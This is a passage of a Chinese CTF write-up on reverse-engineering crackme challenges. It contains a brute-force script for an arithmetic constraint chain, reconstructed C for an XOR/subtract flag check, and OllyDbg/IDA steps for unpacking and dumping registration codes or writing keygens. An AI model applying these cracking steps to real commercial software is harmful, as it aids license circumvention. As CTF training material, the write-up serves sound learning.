-a[3]-a[0]*a[23]%a[35]+a[28]%a[16]%a[32]%a[2]+a[33]-a[1]*a[27]%a[7]==-75&&a[31]%a[38]+a[23]%a[33]-a[10]*a[3]+a[5
]+a[35]-a[20]%a[27]*a[13]+a[30]%a[14]*a[1]%a[6]+a[37]%a[4]-a[26]*a[21]-a[7]-a[36]-a[16]*a[0]+a[28]*a[34]*a[42]*a
[41]%a[9]-a[15]+a[19]*a[24]+a[11]*a[17]+a[39]%a[32]+a[43]+a[18]*a[2]-a[12]-a[25]-a[29]-a[22]+a[8]*a[40]==123&&a[
4]*a[3]%a[2]%a[0]-a[5]+a[1]==48&&a[25]-a[30]+a[16]-a[37]-a[21]*a[36]*a[4]%a[11]+a[32]-a[29]%a[34]-a[2]+a[20]%a[1
]+a[10]-a[33]+a[0]%a[19]-a[22]+a[8]+a[13]%a[31]+a[17]%a[24]%a[7]+a[26]-a[3]%a[14]%a[12]*a[5]%a[18]-a[23]*a[6]%a[
28]+a[15]-a[35]+a[27]%a[9]==21&&a[2]-a[4]+a[3]%a[0]+a[1]==83&&a[7]*a[21]*a[12]%a[3]-a[17]-a[38]+a[23]+a[6]%a[28]
%a[27]%a[14]%a[39]+a[13]+a[32]+a[40]-a[4]-a[8]%a[11]%a[25]*a[31]+a[20]*a[24]%a[29]%a[34]*a[30]%a[33]%a[5]-a[26]*
a[18]%a[2]+a[10]+a[36]*a[9]%a[37]*a[19]-a[15]*a[1]%a[35]%a[22]%a[16]-a[0]==75&&a[27]*a[29]*a[11]%a[8]-a[24]*a[16
]+a[10]%a[2]%a[7]*a[6]+a[23]+a[0]+a[4]*a[22]-a[30]+a[12]-a[17]%a[5]%a[1]*a[15]-a[19]*a[20]-a[3]-a[9]-a[13]+a[25]
*a[18]%a[14]+a[26]%a[28]*a[21]==19&&a[45]-a[9]%a[42]-a[0]+a[44]%a[20]*a[13]-a[38]%a[36]*a[17]+a[24]+a[31]+a[28]-
a[7]%a[16]*a[39]*a[25]*a[1]%a[14]*a[41]-a[18]-a[4]-a[3]%a[10]+a[23]%a[12]+a[37]*a[29]%a[2]+a[30]-a[22]+a[32]%a[3
4]+a[33]+a[8]%a[26]*a[11]*a[15]%a[40]%a[5]%a[19]-a[21]+a[43]%a[6]*a[35]+a[27]==-76&&a[7]+a[9]+a[1]-a[11]*a[5]*a[
3]%a[12]-a[13]-a[4]-a[6]+a[8]%a[2]%a[0]%a[10]==-84&&a[0]-a[1]==-6&&a[2]-a[6]%a[8]+a[7]-a[4]-a[1]%a[3]+a[9]-a[5]+
a[0]==50&&a[44]-a[24]+a[25]%a[30]%a[41]*a[3]-a[23]+a[20]*a[38]+a[15]-a[43]+a[8]-a[29]*a[9]+a[27]+a[33]-a[39]*a[1
8]%a[0]+a[7]-a[6]-a[42]-a[2]+a[31]+a[4]-a[32]*a[40]-a[22]+a[13]+a[34]%a[17]*a[14]%a[37]+a[36]-a[10]*a[5]%a[11]*a
[19]+a[12]+a[16]%a[35]*a[21]+a[28]-a[26]-a[1]==-44&&a[9]%a[3]%a[7]%a[0]%a[4]-a[2]-a[11]-a[12]+a[6]-a[5]%a[10]+a[
8]-a[1]==-187&&a[8]%a[7]+a[6]-a[14]-a[4]%a[17]+a[11]-a[12]%a[5]%a[2]+a[15]-a[9]%a[10]*a[13]%a[0]-a[18]+a[19]+a[1
6]-a[3]-a[1]==-7&&a[12]%a[3]+a[15]-a[0]-a[11]+a[13]+a[4]*a[2]%a[1]-a[10]-a[5]+a[9]+a[6]%a[7]*a[8]%a[14]==-22&&a[
4]+a[16]+a[10]+a[5]-a[7]-a[11]-a[9]%a[13]-a[1]-a[12]%a[2]*a[14]%a[8]%a[6]+a[3]-a[15]%a[0]==97&&a[0]*a[1]%a[11]*a
[14]%a[10]+a[5]+a[7]%a[13]-a[4]%a[19]-a[15]-a[8]%a[18]%a[21]%a[12]%a[17]-a[3]%a[9]-a[6]+a[20]+a[16]+a[22]-a[2]==
112&&a[0]==102&&a[2]+a[0]-a[1]==91&&a[5]*a[4]%a[12]+a[18]+a[27]+a[22]+a[21]-a[10]-a[25]-a[20]%a[7]+a[14]%a[17]%a
[23]+a[19]*a[13]%a[26]-a[1]*a[3]%a[8]+a[24]-a[6]+a[16]+a[0]-a[9]-a[15]%a[2]-a[11]==163&&a[8]*a[10]*a[4]*a[21]%a[
26]*a[6]%a[14]+a[22]*a[5]+a[18]-a[25]-a[7]-a[11]+a[23]-a[9]*a[15]-a[2]+a[28]%a[17]*a[1]%a[0]-a[3]%a[16]-a[12]*a[
20]+a[29]+a[27]%a[24]%a[19]-a[13]==-46&&a[21]-a[36]-a[16]+a[28]-a[3]%a[1]+a[35]-a[8]-a[30]+a[29]%a[19]+a[39]-a[2
]+a[24]*a[11]%a[34]%a[15]%a[38]%a[12]-a[33]+a[20]%a[14]-a[18]-a[31]+a[5]%a[10]+a[7]+a[4]%a[26]*a[23]+a[27]-a[6]*
a[37]%a[17]*a[25]%a[9]%a[22]-a[0]*a[13]%a[32]==184&&a[38]*a[34]%a[30]-a[31]+a[26]-a[27]-a[16]%a[0]-a[18]%a[24]%a
[29]%a[12]+a[20]-a[15]*a[7]+a[17]-a[13]-a[36]-a[25]%a[8]*a[22]+a[6]-a[35]%a[39]+a[9]%a[3]%a[10]%a[19]*a[37]+a[40
]%a[28]+a[41]-a[2]*a[23]*a[4]%a[1]-a[32]%a[14]%a[11]*a[21]%a[5]+a[33]==167&&a[13]-a[6]%a[5]-a[0]%a[9]+a[21]+a[23
]+a[18]%a[17]%a[16]%a[7]-a[20]%a[1]*a[15]%a[19]%a[8]*a[2]%a[22]-a[14]%a[11]%a[10]*a[4]%a[3]+a[12]==155&&a[23]+a[
26]%a[17]%a[20]*a[39]-a[7]-a[0]-a[27]*a[15]+a[25]%a[18]%a[16]%a[42]%a[32]+a[6]*a[14]-a[2]-a[36]+a[35]+a[29]+a[34
]-a[31]-a[5]+a[41]%a[3]*a[13]*a[10]%a[12]-a[21]*a[38]%a[24]-a[46]+a[33]%a[4]%a[11]*a[40]%a[44]+a[28]-a[22]%a[30]
+a[8]-a[19]-a[1]*a[43]*a[37]%a[45]+a[9]==183&&a[22]%a[18]+a[12]*a[23]-a[41]*a[17]+a[15]-a[5]%a[25]-a[14]%a[16]-a
[3]+a[36]+a[1]-a[42]+a[26]%a[39]%a[10]+a[28]%a[27]-a[7]-a[30]-a[19]%a[2]+a[32]%a[0]-a[6]+a[11]-a[13]%a[35]*a[29]
-a[4]*a[24]*a[37]%a[40]+a[31]%a[33]*a[38]-a[21]+a[8]*a[34]%a[20]*a[9]==39&&a[6]%a[0]*a[9]%a[2]%a[4]%a[10]-a[14]+
a[13]%a[11]-a[8]%a[5]+a[7]+a[12]+a[1]-a[3]==163&&a[13]-a[15]+a[23]*a[17]*a[27]%a[8]-a[14]%a[22]-a[29]*a[5]%a[25]
+a[4]%a[10]-a[19]%a[7]%a[12]%a[11]+a[20]+a[31]+a[18]+a[21]*a[30]%a[1]%a[28]+a[0]%a[26]+a[6]%a[24]%a[3]-a[2]-a[16
]-a[9]==147"
L = raw.split("&&")
L.sort(key = lambda x:len(x)) #按表达式长度对 L 进行排序，key 指出用来比较的元素，这里用到了 lambda
a = []
for i in range(len(L)):
```

```
a.append(-1)
for j in range(33, 127):
 a[i] = j
 if(eval(L[i]) == True):
  print(chr(a[i]),end='')
  break
```

## 证明自己吧

这个题比较简单

1. 可以通过字符串定位 main
2. 这个题比较简单，先输出了“can you guess the code:”；然后接收输入；再通过一个检测函数，如果这个函数返回 0，输出错误信息；如果返回 1，输出成功
3. 有一个略有迷惑性的地方，gets 是__cdcel，因此堆栈由调用者恢复，但调用者并未恢复，因此 [esp+7D4h+var_7D0] 和 [esp+7D8h+var_7D0] 都是指的输入的字符串，这点可以从 OD 中看出`.text:00401010 lea eax, [esp+7D4h+var_7D0]` `.text:00401014 push eax ; char * .text:00401015 call _gets .text:0040101A lea ecx, [esp+7D8h+var_7D0]`
4. IDA F5 反汇编，逻辑很简单，不再多讲，直接上代码

```
#include<stdio.h>
#include<string.h>

/*精简之后的 sub_401060 */
int __cdecl sub_401060( char *a1)
{
 char v5[20] = " \x68\x57\x19\x48\x50\x6E\x58\x78\x54\x6A\x19\x58\x5E\x06\x00";
 if (strlen(a1) == strlen((char *)&v5))
 {
  unsigned int i  = 0;
  if (strlen(a1) != 0)
  {
   do
    a1[i++] ^= 0x20u;
   while (i < strlen(a1));
  }
  i = 0;
  if (strlen((char *)&v5) != 0)
  {
   do
    *((char *)&v5 + i++) -= 5;
   while (i < strlen((char *)&v5));
  }
  i = 0;
  if (strlen((const char *)&v5) == 0)
   return 1;
  while (*(i + a1) == *((char *)&v5 + i))
  {
   ++i;
   if (i >= strlen((char *)&v5))
    return 1;
  }
 }
 return 0;
}

/*自定义的输出函数*/
void MYPRINT(char * v5) {
```

```
 unsigned int i = 0;
 unsigned int len = strlen(v5);
 for (i = 0; i < len; i++) {
  printf("%x ", v5[i]);
 }
 printf("\n");
}

int main() {
 //0040708C  68 57 19 48 | 50 6E 58 78 | 54 6A 19 58 | 5E 06 00     hWHPnXxTjX^.
 char v5[20] =" \x68\x57\x19\x48\x50\x6E\x58\x78\x54\x6A\x19\x58\x5E\x06\x00";
 unsigned int i = 0;
 unsigned int len = strlen(v5);

 MYPRINT(v5);
 i = 0;
 do {
  *((char *)&v5 + i++) -= 5;
 } while (i < strlen((const char *)&v5));

 MYPRINT(v5);
 i = 0;
 do {
  v5[i++] ^= 0x20;
 } while (i < len);

 MYPRINT(v5);
 system("pause");
 return 0;
}
```

此处无声

放进ida 发现特别杂的数据，判定应该有壳

PEiD等工具检测发现都检测不出来，估计是自己写的壳，放弃脱壳

本来寻思在 OD 中单步进入 main，可是没成功，就直接设函数断点，在 OD 下方有个 command ，这个应该是命令行吧，在命令行里输入 bpx GetWindowText 之类的(好像输入bpx 和任何字符都行）就会进行搜索，然后在一片函数中找到关键的几个函数设置断点，然后 run 就能进入主程序

其实以上步骤太过复杂，还可以直接 run，待程序运行之后，在 OD 中搜索字符串，双击关键字符串（比如“恭喜”之类的）进入主程序，然后再设断点

右键代码区，选择用 OD 脱壳调试程序，将生成的程序放在桌面上，用 ida 打开，这样方便将函数反汇编

有个名为 401870 的函数 `/*部分代码*/ signed int __stdcall sub_401870(const char *a1) { ..... if ( strlen(a1) != 32 ) ..... do { v2 = a1[v1]; if ( (v2 < 48 || v2 > 57) && (v2 < 65 || v2 > 70) ) break; ++v1; } ..... }` 结合 OD，这个函数首先判断注册码的长度是否为 32；然后判断注册码是否是数字（0-9）和大写字母（A-F)的组合，如果是，则返回 1；否则返回 0。如果为 0，当其返回时，会直接跳转到“对不起”“注册码错误”。

往下走有一个名为 4018C0 的函数 `void __stdcall sub_4018C0(const char *a1, int a2) { ..... do { v3 = a1[2 * v2]; if ( v3 < 48 || v3 > 57 ) v4 = v3 - 55; else v4 = v3 - 48; v5 = v4; v6 = a1[2 * v2 + 1]; if ( v6 < 48 || v6 > 57 ) v7 = v6 - 55; else v7 = v6 - 48; *(_BYTE *)(v2++ + a2) = v7 + 16 * v5; } while ( v2 < 16 ); } }`
a1 是字符串 a2是某个内存区域~~~~~~~~~~~~~~~~~~~~~~~~
结合OD，轻易的判断这段循环展开的代码是将 ASCII 码转换成数字（i 为偶数，以 a1[i] * 16 + a1[i] 的形式）存到 a2 区域。

接下来是两个比较复杂的函数， 4011F0 和 4012F0，干瞅我是真的不知道这俩函数是干啥的，看了评论区的提示 MD5+RC6，其实在IDA分析时，能看到控制台输出found sparse constants for MD5

### 该题不简单

1. 放进IDA，根据字符串或关键函数 CreateWindow CreateDialogParam等定位到 main
2. 在 CreateDialogParam 的参数中找到 DialogFunc，进入
3. 发现关键字符串，在 Messagebox 之前有一个判断函数，进入
4. 发现两个 GetDlgItemText 函数，很明显分别是获取用户名和注册码的，控件标识符分别为 1000 和 1001
5. F5 反汇编一下，发现逻辑比较简单，可以在 ODB 里直接 dump 出注册码，也可以自己写注册机

## 溢出

### 加减乘除

参考 https://blog.csdn.net/yalecaltech/article/details/66975477